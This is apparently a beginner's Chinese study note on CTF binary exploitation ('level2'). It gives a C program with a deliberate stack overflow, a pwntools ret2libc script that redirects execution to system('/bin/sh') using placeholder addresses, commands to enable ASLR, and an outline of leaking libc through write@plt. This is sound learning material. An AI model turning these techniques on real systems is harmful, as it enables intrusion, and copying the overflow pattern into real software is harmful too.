pwn无法入门3
不知道为什么题目在我电脑上都无法复现,崩溃.jpg
还是上次的
#include<stdio.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main() {
vulnerable_function();
write(STDOUT_FILENO, "Hello, world\n", 13);
}
关闭ASLR和stack protector, 意思是栈段没办法执行了
from pwn import *
p = process('./level2')
system_ret = xxx # 开始漏掉了这个
system_addr = xxx
binsh_addr = xxx
payload = 'A' * 140 # 覆盖缓冲区
payload += p32(system_ret) #用system的地址覆盖vulner的返回地址,以跳到system上
payload += p32(system_addr) # 函数调用地址和函数参数之间是隔着一个函数返回地址的,开始忘记了==!i'm good vegetable
payload += p32(binsh_addr) # system 的参数
p.send(payload)
p.interactive()
开启ASLR,仍然是上面的level2
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
可以通过多次的
cat /proc/[pid of level2]/maps
来看到ASLR确实起作用了
思路是leak出libc.so
出某些函数的地址,然后算偏移量以得到system()
和bin/sh
地址
根据人家所说
Program Image是Unrandomized
的random
的是libc
,stack
和heap
这些
可以用write@plt
来把write
(lib.c)里的地址link出来
然后根据lib.c里write
和system
之间的偏移算出来system
后就OK了
另外ldd
可以查看调用的动态链接库